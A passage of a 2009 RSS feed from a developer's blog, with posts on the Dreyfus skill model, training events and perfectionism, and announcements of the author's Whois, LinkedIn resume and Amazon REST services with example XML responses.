		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/19DuPtjjaX0/</link>
		<comments>http://adam.kahtava.com/journal/2009/10/08/the-dreyfus-model-developer-events-and-skill-categories/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 16:00:44 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1919</guid>
		<description><![CDATA[
I found the Dreyfus Model of Skill Acquisition neat. It's a central theme throughout Pragmatic Thinking and Learning by Andy Hunt.
Here's how Wikipedia describes the Dreyfus Model:
The Dreyfus Model of Skill Acquisition postulates that when individuals acquire a skill through external instruction, they normally pass through five stages. ... the five stages of skill acquisition [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/ijerf/418172181/"><img src="http://farm1.static.flickr.com/187/418172181_ecdc0fd3b0_m.jpg" alt="" /></a></div>
<p>I found the <a href="http://en.wikipedia.org/wiki/Dreyfus_model_of_skill_acquisition">Dreyfus Model of Skill Acquisition</a> neat. It's a central theme throughout <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050">Pragmatic Thinking and Learning</a> by Andy Hunt.</p>
<p>Here's how Wikipedia describes the Dreyfus Model:</p>
<blockquote><p>The Dreyfus Model of Skill Acquisition postulates that when individuals acquire a skill through external instruction, they normally pass through five stages. ... <strong>the five stages of skill acquisition are: Novice, Advanced beginner, Competent, Proficient and Expert</strong> - <a href="http://en.wikipedia.org/wiki/Dreyfus_model_of_skill_acquisition">Dreyfus model of skill acquisition</a></p></blockquote>
<p>We have different skills and are at different stages simultaneously in each skill - for example, someone might be an Expert at underwater basket weaving and a Novice at cooking. As we cultivate our experience we progress through these stages.</p>
<p>The categories (again, from Wikipedia) are as follows:</p>
<ol>
<li><strong>Novice</strong>
<ul>
<li>rigid adherence to rules</li>
</ul>
<ul>
<li>no discretional judgment</li>
</ul>
</li>
<li><strong>Advanced beginner</strong>
<ul>
<li>situational perception still limited</li>
</ul>
<ul>
<li>all aspects of work are treated separately and given equal importance</li>
</ul>
</li>
<li><strong>Competent</strong>
<ul>
<li>coping with crowdedness (multiple activity, information)</li>
</ul>
<ul>
<li>now partially sees action as part of longer term goals</li>
</ul>
<ul>
<li>conscious , deliberate planning</li>
</ul>
</li>
<li><strong>Proficient</strong>
<ul>
<li>holistic view of situation, rather than in terms of aspects</li>
</ul>
<ul>
<li>sees what is most important in a situation</li>
</ul>
<ul>
<li>uses maxims for guidance, meaning of maxims may vary according to situation</li>
</ul>
</li>
<li><strong>Expert</strong>
<ul>
<li>no longer reliant on rules, guidelines, maxims</li>
</ul>
<ul>
<li>intuitive grasp of situation, based on tacit knowledge</li>
</ul>
<ul>
<li>vision of what is possible</li>
</ul>
</li>
</ol>
<p>Presented with these categories we can draw some parallels with the software realm. Like say, create a list of events that you'd most likely find these different categories of software developers hanging out.</p>
<p><strong>Developer Event Attendance and Developer Skill Categories:</strong></p>
<ol>
<li><strong>Vendor or Technology Specific: User Groups / Code Camps / Corporate Training / Evangelistic Events</strong>
<ul>
<li>Many Novices</li>
<li>Many Advanced beginners</li>
<li>A small number of Competents that are transitioning to Proficients</li>
<li>Proficients and Experts might be leading the group or may have been mandated to go by their organization</li>
</ul>
</li>
<li><strong>Open Book Clubs / Non Specific Technology Meetings / Non Specific Bar Camp Type Events </strong>
<ul>
<li>Mostly Competents, Proficients, and Experts</li>
</ul>
</li>
</ol>
<p>Of course, this is just my opinion. I've noticed that my attendance to the events listed above continually shift. Initially I thought I was becoming a curmudgeon, but instead I shifted a couple Dreyfus categories.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=19DuPtjjaX0:mQWfVJ1Q_l4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=19DuPtjjaX0:mQWfVJ1Q_l4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=19DuPtjjaX0:mQWfVJ1Q_l4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/19DuPtjjaX0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/10/08/the-dreyfus-model-developer-events-and-skill-categories/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/10/08/the-dreyfus-model-developer-events-and-skill-categories/</feedburner:origLink></item>
		<item>
		<title>The Sheep Dip: Developer Boot Camps, Training Events, and Evangelism</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/G3rL7auZ7uM/</link>
		<comments>http://adam.kahtava.com/journal/2009/10/05/the-sheep-dip-developer-boot-camps-training-events-and-evangelism/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 16:00:17 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Book]]></category>

		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1933</guid>
		<description><![CDATA[
I found Andy Hunt's description of Sheep Dip Training funny:
A sheep dip is a large tank in which you dunk the unsuspecting sheep to clean them up and rid them of parasites. The sheep line up; you grab one and dunk it in the tank ... It wears off, of course, so you have to dip [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/44124284912@N01/909704031/"><img src="http://farm2.static.flickr.com/1143/909704031_007e8011d9_m.jpg" alt="" /></a></div>
<p>I found Andy Hunt's description of Sheep Dip Training funny:</p>
<blockquote><p><a href="http://en.wikipedia.org/wiki/Sheep_dip">A sheep dip</a> is a large tank in which you dunk the unsuspecting sheep to clean them up and rid them of parasites. The sheep line up; you grab one and dunk it in the tank ... It wears off, of course, so you have to dip them again.</p>
<p>Sheep dip training follows the same model. <strong>You lineup unsuspecting employees, dunk them in an intensive, three-to-five day event ... and proclaim them to be Java developers, .NET developers, or what have you. It wears off, of course, so next year you need to have a "refresher" course - another dip.</strong></p>
<p>Companies love standardized "sheep dip" training ... There's only one drawback. <strong>This naive approach doesn't work</strong> ... - <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050">Pragmatic Thinking and Learning</a> by Andy Hunt</p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=G3rL7auZ7uM:-9XaptJzFLA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=G3rL7auZ7uM:-9XaptJzFLA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=G3rL7auZ7uM:-9XaptJzFLA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/G3rL7auZ7uM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/10/05/the-sheep-dip-developer-boot-camps-training-events-and-evangelism/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/10/05/the-sheep-dip-developer-boot-camps-training-events-and-evangelism/</feedburner:origLink></item>
		<item>
		<title>Perfectionism: for the Insane?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/H776-G-zXTU/</link>
		<comments>http://adam.kahtava.com/journal/2009/10/01/perfectionism/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 16:09:16 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1907</guid>
		<description><![CDATA[Perfectionism is the voice of the oppressor, the enemy of the people. It will keep you cramped and insane your whole life ... I think Perfectionism is based on an obsessive belief that if you run careful enough ... you won't have to die. The truth is that you will die anyway and that a lot [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Perfectionism is the voice of the oppressor, the enemy of the people. It will keep you cramped and insane your whole life ... I think Perfectionism is based on an obsessive belief that if you run careful enough ... you won't have to die. The truth is that you will die anyway and that a lot of people [are going to] have a lot more fun [than you] ... -  <a href="http://en.wikipedia.org/wiki/Anne_Lamott">Anne Lamott</a>, <a href="http://www.amazon.com/Bird-Some-Instructions-Writing-Life/dp/0385480016/">Bird by Bird: Some Instructions on Writing and Life</a></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H776-G-zXTU:MU9ps_GKkZM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H776-G-zXTU:MU9ps_GKkZM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H776-G-zXTU:MU9ps_GKkZM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/H776-G-zXTU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/10/01/perfectionism/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/10/01/perfectionism/</feedburner:origLink></item>
		<item>
		<title>Introducing my Whois Service: Customize Your Site Content Based On Referrals, Location, and More</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/k2k6-ZbVN_E/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/30/introducing-my-whois-service-customize-your-site-content-based-on-referrals-location-and-more/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 16:00:31 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[ADC Services]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[RESTful]]></category>

		<category><![CDATA[Services]]></category>

		<category><![CDATA[WCF]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1892</guid>
		<description><![CDATA[Services-services-services! Enough already! Today I introduce my Whois and Enhanced Whois Web Service.
The Enhanced Whois web service lets me know where my visitor are geographically located, provides filtering capabilities, and can act on referrals. This will allow me (or you) to personalize site greetings, hide my email address (or content) based on the visitor, and provide a [...]]]></description>
			<content:encoded><![CDATA[<p>Services-services-services! Enough already! Today I introduce my Whois and Enhanced Whois Web Service.</p>
<p>The Enhanced Whois web service lets me know where my visitor are geographically located, provides filtering capabilities, and can act on referrals. This will allow me (or you) to personalize site greetings, hide my email address (or content) based on the visitor, and provide a unique personal experience. Alternately I can use this service as a classic <a href="http://en.wikipedia.org/wiki/WHOIS">Whois</a> service.</p>
<h3>How it works.</h3>
<p>We're not anonymous on the internet and IP addresses are what uniquely defines your internet existence. <a href="http://en.wikipedia.org/wiki/WHOIS">Whois</a> services let us determine the registrant of internet resources.</p>
<p>Using my Whois service you can:</p>
<p><strong>View your enhanced whois record.</strong></p>
<p>By the visitor's IP address (your IP) URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/whois/enhanced.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/whois/enhanced.xml">http://adam.kahtava.com/services/whois/enhanced.xml</a></p>
<p style="padding-left: 30px;"><a href="http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml"></a>Response (using my IP):</p>
<pre style="padding-left: 30px;">&lt;WhoisEnhancedRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;City&gt;Calgary&lt;/City&gt;
  &lt;Country&gt;Canada&lt;/Country&gt;
  &lt;FilterMatches i:nil="true"/&gt;
  &lt;FriendlyMatches i:nil="true"/&gt;
  &lt;IsFilterMatch&gt;false&lt;/IsFilterMatch&gt;
  &lt;IsFriendly&gt;false&lt;/IsFriendly&gt;
  &lt;Organization&gt;Shaw Communications Inc.&lt;/Organization&gt;
  &lt;StateProvince&gt;AB&lt;/StateProvince&gt;
&lt;/WhoisEnhancedRecord&gt;</pre>
<p>By the visitor's IP address specifying a referrer, and a filter URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/whois/enhanced.<em>{xml|json}</em>?filters=</span><span style="text-decoration: underline;"><em>{filters,filters,...}</em></span><span style="text-decoration: underline;">&amp;referrer=</span><span style="text-decoration: underline;"><em>{referrer}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/whois/enhanced/xml?query=74.125.127.99&amp;filters=CA&amp;referrer=Twitter">http://adam.kahtava.com/services/whois/enhanced/xml?filters=CA&amp;referrer=Twitter</a></p>
<p style="padding-left: 30px;">Response (from an IP owned by Google, with a filter for California, and a referrer of Twitter specified):</p>
<pre style="padding-left: 30px; ">&lt;WhoisEnhancedRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;City&gt;Mountain View&lt;/City&gt;
  &lt;Country&gt;United states&lt;/Country&gt;
  &lt;FilterMatches&gt;
    &lt;string&gt;StateProvince&lt;/string&gt;
  &lt;/FilterMatches&gt;
  &lt;FriendlyMatches&gt;
    &lt;string&gt;<strong>google</strong>&lt;/string&gt;
    &lt;string&gt;<strong>twitter</strong>&lt;/string&gt;
  &lt;/FriendlyMatches&gt;
  &lt;IsFilterMatch&gt;true&lt;/IsFilterMatch&gt;
  &lt;IsFriendly&gt;true&lt;/IsFriendly&gt;
  &lt;Organization&gt;Google Inc.&lt;/Organization&gt;
  &lt;StateProvince&gt;<strong>CA</strong>&lt;/StateProvince&gt;
&lt;/WhoisEnhancedRecord&gt;</pre>
<p><strong>View your classic Whois record.</strong></p>
<p>By the visitor's IP address (your IP) URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/whois.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/whois.xml">http://adam.kahtava.com/services/whois.xml</a></p>
<div style="padding-left: 30px;">Response (using my IP):</div>
<pre style="padding-left: 30px;">&lt;WhoisRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;DomainName&gt;68.146.10.100&lt;/DomainName&gt;
  &lt;RegistryData&gt;
  &lt;AbuseContact&gt; ... &lt;/AbuseContact&gt;
  &lt;AdministrativeContact i:nil="true"/&gt;
  &lt;BillingContact i:nil="true"/&gt;
  &lt;CreatedDate&gt;2002-06-03&lt;/CreatedDate&gt;
  &lt;RawText&gt; ... &lt;/RawText&gt;
  &lt;Registrant&gt;
    &lt;Address&gt;Suite 800630 - 3rd Ave. SW&lt;/Address&gt;
    &lt;City&gt;Calgary&lt;/City&gt;
    &lt;Country&gt;CA&lt;/Country&gt;
    &lt;Name&gt;Shaw Communications Inc.&lt;/Name&gt;
    &lt;PostalCode&gt;T2P-4L4&lt;/PostalCode&gt;
    &lt;StateProv&gt;AB&lt;/StateProv&gt;
  &lt;/Registrant&gt;
  ...
&lt;/WhoisRecord&gt;</pre>
<h3>So... why is this useful?</h3>
<p>This is the first step for this site's personalization - if I know where the user came from, where the user is geographically located, and have the capabilities to filter their Whois responses, then I can tailor my content to the user. For example: if someone from Google landed on my site I could mention that I'd love to work there and provide my email address and phone number, similarly if someone from Calgary landed on my site I could provide my <a href="http://www.google.com/calendar/embed?src=kahtava.com_3b7tc69opbskf5cqgjflihhqpk@group.calendar.google.com&amp;gsessionid=KwiJcMzxbmfA1s3H-Nfjbg">public calendar of local events</a>. The possibilities are endless.</p>
<p>This service will be wrapped by a JavaScript widget that will take care of the asynchronous service polling, but that sounds like another post.</p>
<p>Contribute, view, or download the openly available source code <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.Whois.Service/Source/Service">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=k2k6-ZbVN_E:KGW0N1VWY3E:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=k2k6-ZbVN_E:KGW0N1VWY3E:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=k2k6-ZbVN_E:KGW0N1VWY3E:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/k2k6-ZbVN_E" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/30/introducing-my-whois-service-customize-your-site-content-based-on-referrals-location-and-more/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/30/introducing-my-whois-service-customize-your-site-content-based-on-referrals-location-and-more/</feedburner:origLink></item>
		<item>
		<title>Introducing my LinkedIn Resume Service: View Your Resume</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/LxN_zXfknQI/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/24/introducing-my-linkedin-resume-service-view-your-resume/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 16:00:19 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[ADC Services]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[RESTful]]></category>

		<category><![CDATA[Services]]></category>

		<category><![CDATA[WCF]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1880</guid>
		<description><![CDATA[In my last post I mentioned that I was creating a couple web services that would hopefully bring together my online portfolio. Today I introduce my LinkedIn Resume Web Service.
How it works.
If you have a resume on LinkedIn and you've added services@adamdotcom.com as a contact then you can:
View your resume - retrieve your Resume by first [...]]]></description>
			<content:encoded><![CDATA[<p>In my <a href="http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/">last post</a> I mentioned that I was creating a couple web services that would hopefully bring together my online portfolio. Today I introduce my LinkedIn Resume Web Service.</p>
<h3>How it works.</h3>
<p>If you have a resume on <a href="http://www.linkedin.com/profile?viewProfile=&amp;key=9962574">LinkedIn</a> and you've added <em>services@adamdotcom.com</em> as a contact then you can:</p>
<p><strong>View your resume</strong> - retrieve your Resume by first and last name.</p>
<p>By first and last name URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/resume/linkedin/<em>{firstName-lastName}</em>.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml">http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml</a></p>
<p style="padding-left: 30px;"><a href="http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml"></a>Response:</p>
<pre style="padding-left: 30px;">&lt;Resume xmlns="http://adam.kahtava.com/services/resume" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;Educations&gt;
    &lt;Education&gt;
      &lt;Certificate&gt;Computer Programming and Analysis&lt;/Certificate&gt;
      &lt;Institute&gt;Seneca College of Applied Arts and Technology&lt;/Institute&gt;
    &lt;/Education&gt;
    &lt;Education&gt;
      &lt;Certificate&gt;Bachelor of Science (Honours), Computer Science&lt;/Certificate&gt;
      &lt;Institute&gt;Trent University&lt;/Institute&gt;
    &lt;/Education&gt;
  &lt;/Educations&gt;
  &lt;Positions&gt;
    &lt;Position&gt;
      &lt;Company&gt;Corbis ...</pre>
<h3>Wow that was exciting, so now what?</h3>
<p>Well.. Head on over to my <a href="http://adam.kahtava.com/resume/curriculum-vitae/software-developer/">resume</a> page. My resume is being pulled from LinkedIn through this very service.</p>
<p>Contribute, view, or download the openly available source code <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.Resume.Service/Source/Service">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LxN_zXfknQI:a6EK1WJE3qc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LxN_zXfknQI:a6EK1WJE3qc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LxN_zXfknQI:a6EK1WJE3qc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/LxN_zXfknQI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/24/introducing-my-linkedin-resume-service-view-your-resume/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/24/introducing-my-linkedin-resume-service-view-your-resume/</feedburner:origLink></item>
		<item>
		<title>Introducing my Amazon Web Service: Find Your Profile, View Your Wishlist or Reviews</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/FBqYBhaRQQQ/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 16:00:12 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[ADC Services]]></category>

		<category><![CDATA[Amazon]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[RESTful]]></category>

		<category><![CDATA[Services]]></category>

		<category><![CDATA[WCF]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1822</guid>
		<description><![CDATA[
My online portfolio is increasingly scattered through the internet (reviews and wishlist are on Amazon, source code on github / Google Projects, resume on LinkedIn, and so on). I've been working on a couple services that will eventually pull my portfolio together while keeping a single point of reference, and... I'm sharing these services.
Introducing my [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><img src="http://awsmedia.s3.amazonaws.com/logo_aws.gif" alt="" /></div>
<p>My online portfolio is increasingly scattered through the internet (<a href="http://www.amazon.com/gp/cdp/member-reviews/A2JM0EQJELFL69/ref=cm_pdp_rev_all?ie=UTF8&amp;sort_by=MostRecentReview">reviews</a> and <a href="http://www.amazon.com/Adam-Kahtava/wishlist/3JU6ASKNUS7B8/ref=cm_pdp_wish_all_itms">wishlist</a> are on Amazon, source code on <a href="http://github.com/adamdotcom">github</a> / Google Projects, resume on <a href="http://www.linkedin.com/pub/adam-kahtava/3/405/466">LinkedIn</a>, and so on). I've been working on a couple services that will eventually pull my portfolio together while keeping a single point of reference, and... I'm sharing these services.</p>
<p>Introducing my Amazon Web Service.</p>
<h3>How it works.</h3>
<p>Basically if you have a Wishlist or a Review list on Amazon you can:</p>
<p><strong>Discover your profile</strong> - retrieve your ListId (for WishLists) or CustomerId (for Reviews):</p>
<p>Discovery URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/discover/user/</span><em><span style="text-decoration: underline;">{user-name}</span></em><span style="text-decoration: underline;">.</span><em><span style="text-decoration: underline;">{xml|json}</span></em></p>
<p>Example:</p>
<p style="padding-left: 30px; ">Request: <a href="http://adam.kahtava.com/services/amazon/discover/user/adam-kahtava.xml">http://adam.kahtava.com/services/amazon/discover/user/adam-kahtava.xml</a></p>
<p style="padding-left: 30px; ">Response:</p>
<pre style="padding-left: 30px; ">&lt;Profile xmlns="http://adam.kahtava.com/services/amazon" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;CustomerId&gt;A2JM0EQJELFL69&lt;/CustomerId&gt;
  &lt;ListId&gt;3JU6ASKNUS7B8&lt;/ListId&gt;
&lt;/Profile&gt;</pre>
<p><strong>View your Reviews - <span style="font-weight: normal;">retrieve your Reviews by username or Amazon CustomerId.</span></strong></p>
<p>By customerId URI:</p>
